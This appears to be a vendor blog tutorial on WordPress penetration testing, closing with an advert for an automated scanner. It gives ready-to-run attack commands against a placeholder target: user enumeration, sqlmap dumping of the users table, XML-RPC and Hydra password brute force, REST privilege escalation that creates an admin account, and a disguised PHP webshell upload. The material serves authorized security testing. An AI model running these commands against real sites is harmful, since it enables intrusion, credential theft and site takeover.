WordPress Security Testing Guide: WPScan, Plugin Vulnerabilities, and Auth Bypass
WordPress runs approximately 43% of all websites on the internet. That market share makes it the single most-targeted CMS on the web — and it means security teams are regularly asked to assess WordPress deployments across industries from e-commerce to healthcare to financial services.
WordPress security testing follows a distinct methodology from generic web application testing. The attack surface includes not just application code but the plugin and theme ecosystem, the WordPress core API, XML-RPC, and the REST API — each with its own set of well-documented vulnerabilities and exploitation patterns.
Reconnaissance and Enumeration with WPScan
WPScan is the standard tool for WordPress reconnaissance. It enumerates WordPress version, installed plugins, themes, and usernames from public information, then cross-references against its vulnerability database.
Basic WPScan enumeration
# Full enumeration — version, plugins, themes, usernames
wpscan --url https://target.example.com --enumerate vp,vt,u
# Enumerate with WPVulnDB API token for vulnerability data
wpscan --url https://target.example.com \
--api-token YOUR_TOKEN \
--enumerate vp,vt,u
# Aggressive plugin enumeration (slower, more thorough)
wpscan --url https://target.example.com \
--enumerate ap \
--plugins-detection aggressive
# Enumerate usernames only
wpscan --url https://target.example.com --enumerate u
WPScan identifies plugin versions from readme.txt files, HTML comments, and asset filenames — even when WordPress is otherwise hardened. A common finding is outdated plugins with known CVEs that the site owner hasn't patched.
Version detection and fingerprinting
WordPress embeds its version in several locations even on "hardened" installations:
# Check meta generator tag
curl -s https://target.example.com | grep -i "generator"
# Check readme.html (often left exposed)
curl -s https://target.example.com/readme.html
# Check wp-cron.php response headers
curl -I https://target.example.com/wp-cron.php
# Check RSS feed for WordPress version
curl -s https://target.example.com/feed/ | grep -i "generator"
# Check login page for version hints
curl -s https://target.example.com/wp-login.php | grep -i "ver="
Even without the generator meta tag, asset paths like /wp-content/themes/[theme]/style.css embed version numbers that narrow the range significantly.
Plugin and Theme Vulnerability Exploitation
The WordPress plugin ecosystem is the primary attack surface. The WordPress Plugin Directory hosts over 60,000 plugins; the vast majority are maintained by individual developers with limited security review. High-severity vulnerabilities in popular plugins regularly affect tens of thousands of sites simultaneously.
Common plugin vulnerability classes
| Vulnerability Type | Common Root Cause | Typical Impact |
|---|---|---|
| Unauthenticated IDOR | Missing capability checks in REST API handlers | Read/write arbitrary posts, settings |
| SQL Injection | Unparameterized $wpdb->query() calls |
Database dump, credential extraction |
| Stored XSS | Missing esc_html() / wp_kses() on output |
Admin session hijack, admin account takeover |
| File Upload / RCE | Insufficient MIME type validation | Remote code execution via webshell upload |
| CSRF | Missing wp_verify_nonce() on state-changing actions |
Settings modification, user creation |
| PHP Object Injection | Unsafe unserialize() on user-controlled input |
RCE via gadget chains |
Testing REST API endpoints
WordPress's REST API exposes user data and content by default. Many plugins extend the REST API without proper authorization checks:
# Enumerate exposed REST API routes
curl -s https://target.example.com/wp-json/ | jq '.routes | keys[]'
# Dump all users via REST API (if not disabled)
curl -s https://target.example.com/wp-json/wp/v2/users | jq '.[].slug'
# Check for plugin-registered endpoints
curl -s https://target.example.com/wp-json/ | jq '.routes' | grep -v "^/wp/"
# Test unauthenticated access to protected endpoints
curl -s https://target.example.com/wp-json/wp/v2/users?context=edit
# Test if application passwords are enabled
curl -s https://target.example.com/wp-json/wp/v2/application-passwords
The user enumeration endpoint at /wp-json/wp/v2/users leaks usernames and display names even when login enumeration via the login form is blocked. These usernames become credentials for brute-force attacks against wp-login.php or XML-RPC.
SQL injection in plugins
Many plugins pass user-supplied parameters directly into $wpdb->query() or $wpdb->get_results() without using prepared statements. The pattern looks like:
# Test GET parameter for SQL injection
curl "https://target.example.com/?plugin_param=1' AND SLEEP(5)--"
# SQLMap with WordPress-aware config
sqlmap -u "https://target.example.com/?plugin_param=1" \
--dbms=mysql \
--level=3 \
--risk=2 \
--batch
# Extract WordPress users table
sqlmap -u "https://target.example.com/?plugin_param=1" \
-D wordpress \
-T wp_users \
-C user_login,user_pass \
--dump
The wp_users table stores passwords as MD5 hashes (with the WordPress phpass variant). Successful extraction followed by hashcat cracking is a complete account compromise chain.
XML-RPC Abuse
XML-RPC is a legacy remote publishing protocol that WordPress ships enabled by default. It provides a secondary authentication endpoint that is frequently overlooked in hardening guides and security reviews.
Testing XML-RPC availability
# Check if XML-RPC is enabled
curl -s https://target.example.com/xmlrpc.php \
-d 'system.listMethods '
# List available methods
curl -s https://target.example.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d 'system.listMethods '
Credential brute-forcing via XML-RPC
XML-RPC's system.multicall method allows batching multiple authentication attempts in a single HTTP request. This bypasses rate limiting that applies per-request on the login form:
# WPScan XML-RPC password attack (multicall mode)
wpscan --url https://target.example.com \
--username admin \
--passwords /usr/share/wordlists/rockyou.txt \
--password-attack xmlrpc-multicall
# Manual multicall — 100 passwords in one request
# Each wp.getUsersBlogs call is one credential pair
# Effective rate: 100+ attempts per HTTP request
Multicall brute-force is effective against sites that block wp-login.php brute force but leave XML-RPC unprotected — a common configuration.
Content injection via XML-RPC
# Post content as authenticated user (after credential compromise)
curl -s https://target.example.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '
wp.newPost
1
admin
PASSWORD
post_title Test
post_content Content
post_status publish
'
Authentication Bypass and Session Testing
Login page enumeration and brute force
WordPress reveals whether a username exists through distinct error messages on login failure. The response to an invalid username differs from the response to a valid username with wrong password:
# Username enumeration via login error message
curl -s -X POST https://target.example.com/wp-login.php \
-d "log=admin&pwd=wrongpassword&wp-submit=Log+In" \
| grep -o "ERROR.*"
# Valid username returns: "The password you entered for the username X is incorrect"
# Invalid username returns: "Invalid username"
# Hydra brute force against wp-login.php
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.example.com https-post-form \
"/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:ERROR"
Cookie and session testing
# Inspect WordPress authentication cookies
# wordpress_logged_in_[hash] — authenticated session
# wordpress_[hash] — pre-login auth cookie
# Check cookie security flags
curl -I https://target.example.com/wp-login.php | grep -i "set-cookie"
# Look for: Secure, HttpOnly, SameSite
# Test session fixation — check if session ID changes after login
curl -c cookies_pre.txt -s https://target.example.com/wp-login.php > /dev/null
curl -c cookies_post.txt -b cookies_pre.txt -s -X POST \
https://target.example.com/wp-login.php \
-d "log=admin&pwd=validpassword&wp-submit=Log+In" > /dev/null
diff cookies_pre.txt cookies_post.txt
Password reset flow testing
# Test password reset token predictability
# Request reset for known user
curl -s -X POST https://target.example.com/wp-login.php?action=lostpassword \
-d "user_login=admin&redirect_to=&wp-submit=Get+New+Password"
# WordPress reset tokens use wp_generate_password() — check for weak entropy
# Also test: does reset token expire? Can it be reused?
# Check: does the link work after the user logs in and changes password?
WordPress REST API Security
Authenticated endpoint testing
# Test with application password (WordPress 5.6+)
# Application passwords bypass 2FA — test if they're enabled for admins
curl -s https://target.example.com/wp-json/wp/v2/users/me \
-u "admin:xxxx xxxx xxxx xxxx xxxx xxxx"
# Test for privilege escalation via REST API
# Can a subscriber-level user modify posts or settings?
curl -s -X PUT https://target.example.com/wp-json/wp/v2/posts/1 \
-u "subscriber:password" \
-H "Content-Type: application/json" \
-d '{"content": "Modified by subscriber"}'
# Attempt to create admin user via REST API
curl -s -X POST https://target.example.com/wp-json/wp/v2/users \
-u "editor:password" \
-H "Content-Type: application/json" \
-d '{"username":"hacker","email":"h@evil.com","password":"Pass123!","roles":["administrator"]}'
Nonce bypass testing
WordPress uses nonces as CSRF tokens for admin actions. Nonces are tied to user sessions and expire, but their implementation is often misconfigured in plugins:
# Test if admin actions require nonce verification
# 1. Log in as admin and capture a nonce from a form
# 2. Attempt the action without the nonce
curl -s -X POST https://target.example.com/wp-admin/admin-ajax.php \
-b "wordpress_logged_in_XXX=value" \
-d "action=plugin_action¶m=value"
# No nonce = CSRF vulnerability
# Test if nonces are validated with wp_verify_nonce()
# Many plugins check presence but not validity
curl -s -X POST https://target.example.com/wp-admin/admin-ajax.php \
-b "wordpress_logged_in_XXX=value" \
-d "action=plugin_action¶m=value&_wpnonce=invalid_nonce"
File Upload and Remote Code Execution
Media upload bypass
# WordPress restricts uploads by MIME type — test bypass
# 1. Upload a PHP file with .jpg extension + image header bytes
python3 -c "
with open('shell.jpg', 'wb') as f:
f.write(b'\xff\xd8\xff\xe0') # JPEG magic bytes
f.write(b'')
"
# 2. Upload via wp-admin/media-new.php
# 3. If accepted, find the uploaded file path
# 4. Attempt execution if the server processes .jpg as PHP
# Test .htaccess upload to enable PHP execution in uploads directory
# WordPress filters .htaccess — test plugin-specific upload handlers
Theme and plugin editor RCE
# If wp-admin access is obtained, theme/plugin editor allows direct PHP injection
# Check if editor is disabled (best practice)
curl -s https://target.example.com/wp-admin/theme-editor.php \
-b "admin_cookie" | grep -i "editing"
# Test writing to active theme files
# Modify functions.php to include a webshell
# This is a post-exploitation path — document if editor is enabled
Hardening Verification Checklist
A WordPress security assessment should verify that hardening controls are in place, not just find vulnerabilities. The following checks confirm the security posture:
| Control | How to Verify | Risk if Missing |
|---|---|---|
| User enumeration blocked | /?author=1 returns 404/redirect |
Username list for brute force |
| REST API user listing disabled | /wp-json/wp/v2/users returns 403 |
Username enumeration |
| XML-RPC disabled | /xmlrpc.php returns 403/404 |
Brute force, SSRF pivot |
| readme.html removed | /readme.html returns 404 |
Version fingerprinting |
| File editor disabled | DISALLOW_FILE_EDIT in wp-config.php |
Post-compromise RCE |
| wp-config.php not web-readable | Direct HTTP request returns 403 | Database credentials exposure |
| Login rate limiting | Multiple failed logins trigger lockout | Brute force via wp-login.php |
| Debug mode off | WP_DEBUG false in production |
Path/code disclosure in errors |
| Security headers present | CSP, X-Frame-Options, HSTS in responses | XSS, clickjacking, downgrade |
Automated Scanning for WordPress
Manual WordPress testing is comprehensive but slow for large deployments. Automated scanning accelerates the enumeration and known-vulnerability phases while freeing testers for manual analysis of business logic and authentication flows.
An automated scan of a WordPress target should cover: version detection, plugin/theme fingerprinting and CVE matching, exposed sensitive files, REST API endpoint enumeration, weak authentication configurations, and common misconfigurations like XML-RPC and user enumeration.
Ironimo's Kali-powered scanning engine runs this entire methodology automatically — the same tools professional pentesters use (WPScan, Nikto, Nuclei WordPress templates) orchestrated into a single repeatable scan that runs on-demand or on schedule. Teams scanning multiple WordPress deployments across their infrastructure get consistent coverage without manual effort on each target.
Running WordPress in production? Ironimo scans WordPress deployments using the same Kali-based toolchain pentesters use — WPScan, Nuclei, and custom templates — without the consultant invoice.
Start free scan